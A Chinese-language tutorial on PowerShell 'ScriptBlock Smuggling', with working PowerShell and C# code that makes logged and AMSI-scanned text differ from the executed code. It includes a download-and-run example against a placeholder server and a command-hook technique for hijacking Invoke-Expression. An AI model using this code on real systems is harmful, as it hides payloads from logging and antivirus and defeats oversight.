SCRIPTBLOCK Smuggling:伪装 PowerShell 安全日志并绕过 AMSI 防护,无需使用REFLECTION和PATCHING
字数 1247 2025-08-19 12:40:31
ScriptBlock Smuggling 技术详解:伪装 PowerShell 日志并绕过 AMSI 防护
技术背景
PowerShell 在安全领域的应用近年来有所下降,主要原因包括:
- PowerShell v5 版本引入了安全日志功能
- AMSI(反恶意软件扫描接口)的引入增强了防护能力
- 现有的绕过技术(如反射式绕过、内存修补)容易被检测
核心原理
AST(抽象语法树)基础
- AST 是编译器根据源代码生成的树状结构
- PowerShell 中的 ScriptBlock 在创建时会自动生成 AST
- AST 包含多个属性,其中最重要的是"Extent"(文本范围)
关键发现
- 日志记录机制:PowerShell 仅使用 ScriptBlock 的 Extent 生成安全日志
- AMSI 扫描机制:PowerShell 仅发送 ScriptBlock 的 Extent 到 AMSI 进行扫描
- 执行与日志分离:AST 的文本表示(Extent)与实际执行代码可以不一致
技术实现
基本构造方法
# 创建两个不同的 ScriptBlock
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast # 日志中显示的代码
$ExecutedAst = [ScriptBlock]::Create("Write-Output 'World'").Ast # 实际执行的代码
# 构造新的 AST,混合两者的属性
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new(
$SpoofedAst.Extent, # 使用伪装代码的 Extent
$null,
$null,
$null,
$ExecutedAst.EndBlock.Copy(), # 使用实际执行代码的 EndBlock
$null
)
# 获取可执行的 ScriptBlock
$Sb = $Ast.GetScriptBlock()
实际攻击示例
$wc = New-Object System.Net.WebClient
$SpoofedAst = [ScriptBlock]::Create("Write-Output 'Hello'").Ast
$ExecutedAst = [ScriptBlock]::Create($wc.DownloadData(<server>)).Ast
$Ast = [System.Management.Automation.Language.ScriptBlockAst]::new(
$SpoofedAst.Extent,
$null,
$null,
$null,
$ExecutedAst.EndBlock.Copy(),
$null
)
$Sb = $Ast.GetScriptBlock()
C# 实现方式
// 创建伪装和实际执行的 ScriptBlock
var spoofedScript = "Write-Output 'Hello'";
var executedScript = "Write-Output 'amsicontext'";
// 构造 AST
var spoofedAst = ScriptBlock.Create(spoofedScript).Ast;
var executedAst = ScriptBlock.Create(executedScript).Ast;
var ast = new ScriptBlockAst(
spoofedAst.Extent,
null,
null,
null,
executedAst.EndBlock.Copy(),
null
);
var sb = ast.GetScriptBlock();
技术优势
- 无需关闭日志记录:与现有技术不同,不需要完全关闭日志功能
- 无需反射或内存修补:避免触发防病毒软件和 EDR 的检测
- 首次执行才记录:ScriptBlock 只在第一次执行时被记录
- 执行与日志分离:实际执行的代码不会被日志或 AMSI 观察到
高级应用
命令钩子(Command Hook)
- 创建自定义 Cmdlet 并命名为系统命令(如"Invoke-Expression")
- 将自定义模块放置在 PSModulePath 指定的路径:
C:\Users\<Username>\Documents\WindowsPowerShell\ModulesC:\Program Files\WindowsPowerShell\Modules(需要管理员权限)
- PowerShell 在名称冲突时会加载新版本模块
实现效果:
- 用户执行"Invoke-Expression"时实际运行攻击者代码
- 日志中显示的是原始命令而非实际执行的代码
防御建议
目前 Microsoft 尚未提供完全有效的防御措施,建议:
- 及时更新系统和 PowerShell 补丁
- 监控 PowerShell 日志中的异常行为
- 限制 PowerShell 执行权限
- 不要运行来源不明的脚本
- 定期进行安全扫描
技术限制
- 使用
ps.addcommand方法时不会生成执行日志 - 使用
ps.addscript方法会正常生成日志 - 系统模块路径修改需要管理员权限
总结
ScriptBlock Smuggling 技术通过操纵 PowerShell 的 AST 结构,实现了:
- 绕过 AMSI 扫描
- 伪造安全日志
- 无需使用高风险技术(反射、内存修补)
- 维持正常的日志记录功能以规避检测
该技术代表了新一代的 PowerShell 攻击方法,防御方需要重新评估现有的检测策略。